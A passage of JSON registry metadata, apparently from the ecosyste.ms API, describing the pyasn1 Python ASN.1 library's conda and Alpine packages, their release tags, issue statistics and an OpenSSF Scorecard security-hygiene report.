%2Fpyasn1/tags/v0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.2/manifests"},{"name":"v0.2.1","sha":"3fee03b393ee6a6e7e0baf70e54ce5ae7f7e42c1","kind":"commit","published_at":"2017-02-04T22:34:36.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.2.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.1/manifests"}]},"repo_metadata_updated_at":"2026-08-15T09:21:24.897Z","dependent_packages_count":4,"downloads":731248,"downloads_period":"total","dependent_repos_count":399,"rankings":{"downloads":null,"dependent_repos_count":8.38124054462935,"dependent_packages_count":11.074130105900151,"stargazers_count":37.67019667170953,"forks_count":31.104387291981844,"docker_downloads_count":null,"average":22.057488653555218},"purl":"pkg:conda/pyasn1","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/conda/pyasn1","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/conda/pyasn1","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/conda/pyasn1/dependencies","status":null,"funding_links":["http://snmplabs.com/sponsorship.html"],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-12T07:46:08.959Z","issues_count":58,"pull_requests_count":79,"avg_time_to_close_issue":9508472.26923077,"avg_time_to_close_pull_request":4086520.484375,"issues_closed_count":26,"pull_requests_closed_count":64,"pull_request_authors_count":21,"issue_authors_count":51,"avg_comments_per_issue":1.396551724137931,"avg_comments_per_pull_request":0.45569620253164556,"merged_pull_requests_count":61,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":11,"past_year_pull_requests_count":20,"past_year_avg_time_to_close_issue":411038.6666666667,"past_year_avg_time_to_close_pull_request":1111002.7,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":10,"past_year_pull_request_authors_count":8,"past_year_issue_authors_count":9,"past_year_avg_comments_per_issue":0.5454545454545454,"past_year_avg_comments_per_pull_request":0.3,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":9,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/issues","maintainers":[{"login":"droideck","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}],"active_maintainers":[{"login":"droideck","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages/pyasn1/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages/pyasn1/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages/pyasn1/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages/pyasn1/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages/pyasn1/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages/pyasn1/codemeta","maintainers":[],"registry":{"name":"anaconda.org","url":"https://anaconda.org","ecosystem":"conda","default":true,"packages_count":5474,"maintainers_count":0,"namespaces_count":0,"keywords_count":3313,"github":"Anaconda","metadata":{"kind":"anaconda","key":"Main","api":"https://repo.ananconda.com","funded_packages_count":848},"icon_url":"https://github.com/Anaconda.png","created_at":"2022-10-03T15:37:08.736Z","updated_at":"2026-08-20T05:05:46.217Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/namespaces"}},{"id":7596515,"name":"py3-asn1-pyc","ecosystem":"alpine","description":"Precompiled Python bytecode for py3-asn1","homepage":"https://github.com/pyasn1/pyasn1","licenses":"BSD-2-Clause","normalized_licenses":["BSD-2-Clause"],"repository_url":"https://github.com/pyasn1/pyasn1","keywords_array":[],"namespace":"community","versions_count":10,"first_release_published_at":"2023-04-18T16:39:19.000Z","latest_release_published_at":"2026-07-15T03:28:06.000Z","latest_release_number":"0.6.4-r0","last_synced_at":"2026-07-15T04:42:44.604Z","created_at":"2023-04-18T17:42:13.600Z","updated_at":"2026-08-15T09:21:24.900Z","registry_url":"https://pkgs.alpinelinux.org/package/edge/community/x86_64/py3-asn1-pyc","install_command":"apk add py3-asn1-pyc","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":44472576,"uuid":"512723255","full_name":"pyasn1/pyasn1","owner":"pyasn1","description":"Generic ASN.1 library for Python","archived":false,"fork":true,"pushed_at":"2026-07-09T01:25:56.000Z","size":1918,"stargazers_count":52,"open_issues_count":35,"forks_count":39,"subscribers_count":5,"default_branch":"main","last_synced_at":"2026-08-08T05:52:12.087Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://pyasn1.readthedocs.io/","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"etingof/pyasn1","license":"bsd-2-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pyasn1.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGES.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE.rst","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null},"funding":{"custom":"http://snmplabs.com/sponsorship.html"}},"created_at":"2022-07-11T11:09:16.000Z","updated_at":"2026-08-07T19:59:54.000Z","dependencies_parsed_at":"2023-01-31T20:55:14.322Z","dependency_job_id":null,"html_url":"https://github.com/pyasn1/pyasn1","commit_stats":null,"previous_names":[],"tags_count":20,"template":false,"template_full_name":null,"purl":"pkg:github/pyasn1/pyasn1","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/sbom","scorecard":{"id":751119,"data":{"date":"2025-08-11","repo":{"name":"github.com/pyasn1/pyasn1","commit":"d2015ad04336944511ce7643914e8daf432ef2f9"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.8,"checks":[{"name":"Maintained","score":1,"reason":"2 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Code-Review","score":6,"reason":"Found 19/28 approved changesets -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/main.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi.yml:5","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:46: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:80: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:87: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:34: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:56: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:56","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:58","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:75","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:43","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:45","Info:   0 out of   8 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned","Info:   0 out of   6 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.rst:0","Info: FSF or OSI recognized license: BSD 2-Clause \"Simplified\" License: LICENSE.rst:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":8,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'main'","Info: 'force pushes' disabled on branch 'main'","Warn: required approving review count is 1 on branch 'main'","Warn: codeowners review is not required on branch 'main'","Info: status check found to merge onto on branch 'main'","Info: PRs are required in order to make changes on branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T20:24:45.472Z","repository_id":44472576,"created_at":"2025-08-22T20:24:45.472Z","updated_at":"2025-08-22T20:24:45.472Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36403979,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-08T02:00:08.763Z","response_time":96,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pyasn1","name":"pyasn1 maintenance organization","uuid":"109076791","kind":"organization","description":"","email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/109076791?v=4","repositories_count":3,"last_synced_at":"2026-08-08T06:20:56.606Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/pyasn1","funding_links":[],"total_stars":61,"followers":3,"following":0,"created_at":"2024-05-21T11:51:17.782Z","updated_at":"2026-08-08T06:20:56.656Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1/repositories"},"tags":[{"name":"v0.5.0.rc2","sha":"08ac8006b7775551027e5d4b0e642a528c296565","kind":"commit","published_at":"2022-08-23T07:25:48.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.5.0.rc2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.5.0.rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.5.0.rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc2/manifests"},{"name":"v0.5.0.rc1","sha":"0f458da4eb801add67c47d51e8e147515ea0ca19","kind":"commit","published_at":"2022-08-08T08:40:20.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.5.0.rc1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.5.0.rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.5.0.rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc1/manifests"},{"name":"v0.4.8","sha":"70c1bbde72f8b53f82ed1a7e00cb98fe51c1455f","kind":"commit","published_at":"2019-11-16T17:12:43.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.8","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.8/manifests"},{"name":"v0.4.7","sha":"771aa24c2b52e0ec410f9a94c3a114a6078a3641","kind":"commit","published_at":"2019-09-01T15:58:56.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.7","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.7/manifests"},{"name":"v0.4.6","sha":"bb6b6e26fd2072dae8ba6664e2b8b6c5b78ce5a8","kind":"commit","published_at":"2019-07-31T19:43:30.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.6","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.6/manifests"},{"name":"v0.4.5","sha":"df6fc9a8aae16e32f60a1ff1f42a52c8c344a993","kind":"commit","published_at":"2018-12-29T20:44:17.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.5","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.5/manifests"},{"name":"v0.4.4","sha":"4ad415d71beb6b466842e6c32ec6387b88a3dbae","kind":"commit","published_at":"2018-07-26T07:26:23.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.4","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.4/manifests"},{"name":"v0.4.3","sha":"4b7961a12bfce7a411423aba195bcb9a329f8c4a","kind":"commit","published_at":"2018-05-23T20:36:13.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.3/manifests"},{"name":"v0.4.2","sha":"df3a2b7781c72ffc703e80d788618d93634e17ab","kind":"commit","published_at":"2017-11-23T18:48:19.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"67e460c8302cd1e2cf181b0d0430f3cdd9681b0c","kind":"commit","published_at":"2017-11-23T10:44:10.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.1/manifests"},{"name":"v0.3.7","sha":"136f9e71f50ed8938037e5641b19d857f11b13e4","kind":"commit","published_at":"2017-10-04T20:04:07.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.7","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.7/manifests"},{"name":"v0.3.6","sha":"57b7faf331fe5f2b1cbaa530ea39ed10dfdfe3b7","kind":"commit","published_at":"2017-09-20T20:30:05.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.6","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.6/manifests"},{"name":"v0.3.5","sha":"3182ecf81839ae4072a46706c3d0426a03f80be8","kind":"commit","published_at":"2017-09-16T22:16:53.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.5","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.5/manifests"},{"name":"v0.3.4","sha":"f53f48553c5e683a0c5e9e8009ef754410f2b9e0","kind":"commit","published_at":"2017-09-07T06:59:46.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.4","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.4/manifests"},{"name":"v0.3.3","sha":"3938e520f13feee93dccabf9824f0da122cc54ed","kind":"commit","published_at":"2017-08-26T23:30:41.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"c7ff66bd5bd64b4a7473dbdfbb931b7c56f5f5cd","kind":"commit","published_at":"2017-08-04T18:40:24.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"d6540fd67a0080f369a1b165eae4ad946155dad9","kind":"commit","published_at":"2017-07-26T17:30:36.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.1/manifests"},{"name":"0.2.3","sha":"a95b62a8b026d8c61a9c12d257cdf584f7bcdb8e","kind":"commit","published_at":"2017-02-25T22:39:16.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/0.2.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/0.2.3/manifests"},{"name":"v0.2.2","sha":"c22b813b9251c35347eace1ea3189d9cbfadfa24","kind":"commit","published_at":"2017-02-07T00:17:50.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.2.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.2/manifests"},{"name":"v0.2.1","sha":"3fee03b393ee6a6e7e0baf70e54ce5ae7f7e42c1","kind":"commit","published_at":"2017-02-04T22:34:36.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.2.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.1/manifests"}]},"repo_metadata_updated_at":"2026-08-15T09:21:24.900Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count"